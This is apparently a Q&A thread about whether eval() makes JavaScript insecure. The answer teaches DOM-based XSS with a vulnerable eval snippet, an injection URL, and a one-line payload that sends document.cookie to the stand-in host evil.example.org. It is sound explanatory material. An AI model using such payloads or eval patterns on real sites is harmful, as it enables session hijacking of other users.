7

developer.mozilla.org says:

Don't use eval needlessly! eval() is a dangerous function, which executes the code it's passed with the privileges of the caller.

https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Any malicious user can turn on chrome debugger for example, and modify javascript code that is being executed. So he can put his own functions to be executed etc.

Is there such thing as "secure javascript code" in general?

  • 2
    Nope. Everything's as secure as everything else, which basically is not secure at all with all the debugging tools around. Personally (and I'll probably get kicked in the teeth for saying this, but...) I'm not that scared of eval (or Function). – Whothehellisthat Aug 20 '16 at 20:37
  • 7
    Any malicious user can open the console and modify _their own version_ of the code thus not affecting anybody else. If you use `eval` recklessly, then malicious code can made to run on _any user's_ computer. – VLAZ Aug 20 '16 at 20:38
  • To me, it's a tool. Just don't use anything the user gives you as plain text, and you can use eval just fine. But that goes for anything, with any language. Users can put weird things in forms and submit them. Anything that comes from a user must be sanitised before use or strap in for XSS attacks. – Whothehellisthat Aug 20 '16 at 20:39
  • It makes for unoptimised code, but if you don't need it to be optimised, that doesn't matter. – Whothehellisthat Aug 20 '16 at 20:39
  • @Vid: Right. So you sanitise it. Same goes for server-side, as that's basically just generating your HTML/JS code in the first place. It has the same problems as any other technique, and the same good stuff. Just use it wisely as with any public code you write. – Whothehellisthat Aug 20 '16 at 20:40
  • That the user can change the javascript *running in his* browser is not really a security issue, as it only affects that user. That the user can eval anything from an input etc. is the same, it affects that user, and isn't really an issue. If you do things like `` and someone is able to inject something into your database, you have a problem. It's really just a matter of using `eval()` safely, but the real answer is that you don't need eval, it's not of any use, you can do pretty much anything without it. – adeneo Aug 20 '16 at 20:43
  • @Whothehellisthat notice I said "use `eval` _recklessly_". Sure you can use it and have it work fine. On the other hand, I've yet to find a situation where I either _need to_ use `eval` or if it's a worthwhile alternative. – VLAZ Aug 20 '16 at 20:44
  • @Vid: Ah, fair enough. – Whothehellisthat Aug 20 '16 at 20:44
  • I have used it for some useful things, though admittedly all server-side, private for-fun projects. But things like parsing and rewriting functions can let you do some awesome stuff. – Whothehellisthat Aug 20 '16 at 20:46
  • 1
    Dont forget the high performance cost of eval. having eval in your code prevents the browser engines to do any optimizations on the code, affecting the whole page speed. – Bamieh Aug 20 '16 at 21:00
  • 1
    @AhmadBamieh: Yeah. Not great for game loops. ;P – Whothehellisthat Aug 20 '16 at 21:02
  • @jaunius Did you mean to unmark my answer as accepted? – SilverlightFox May 28 '18 at 14:37
  • @SilverlightFox no, sorry. It was accidently – Jaunius Eitmantis May 29 '18 at 07:29

2 Answers2

7

Any malicious user can turn on chrome debugger for example, and modify javascript code that is being executed. So he can put his own functions to be executed etc.

Yes, a user can "attack" their own client-side session using JavaScript by using developer tools.

However, the difference between eval and developer tools is that eval may execute things in shareable links. The attacker could send their victim a link, which exploits the code evaluation function.

Take this code:

<script>

eval('alert("Your query string was ' + unescape(document.location.search) + '");');

</script>

Now if the query string is ?foo you simply get an alert dialog stating the following: Your query string was ?foo

Now say Chuck sends Bob an email with the subject "Look at this great link!".

The link is constructed as follows:

http://www.example.com/page.htm?hello%22);alert(document.cookie+%22, where www.example.com is your website.

This modifies the code that is executed by eval() to

alert("Your query string was hello");
alert(document.cookie+"");

(New lines added by me for clarity). This will show an alert box displaying all the non httpOnly cookies.

Take this to the next stage and the attacker could construct an image link to send the session cookie to themselves

new Image().src="https://evil.example.org/?cookie=" + escape(document.cookie)

This is known as a Cross-Site Scripting (XSS) attack. In fact, the type is a DOM based XSS, to be specific.

Is there such thing as "secure javascript code" in general?

Yes, code that's secure against XSS could be considered "secure JavaScript code" - it protects the current user from cross-domain attacks. However, server-side code that "trusts" that the current end-user won't modify JavaScript code or variables to their own advantage using developer tools though isn't secure.

Therefore secure JavaScript code is such code that will protect the current user only.

SilverlightFox
  • 32,436
  • 11
  • 76
  • 145
0

Yes, of course there is secure JavaScript. You can always modify the JavaScript in your browser, same way you can modify e.g. python programs running on your machine.

Being able to alter the way code on your own machine works is trivial and is not immediately a security issue.

Eval() is often seen problematic, as it tends to be executed with user-generated input (I would argue that the genuine use cases where this is not true are quite few). Why this might be an issue is explained by @SilverlightFox in his excellent answer. It all boils down to the fact that eval() might be exploited to run YOUR code on somebody else's machine, and THAT is a security issue.

Note that this is not specific to JavaScript alone, most languages have similarly named functions that do the same. These functions come with similar warnings.

daniel f.
  • 1,421
  • 1
  • 13
  • 24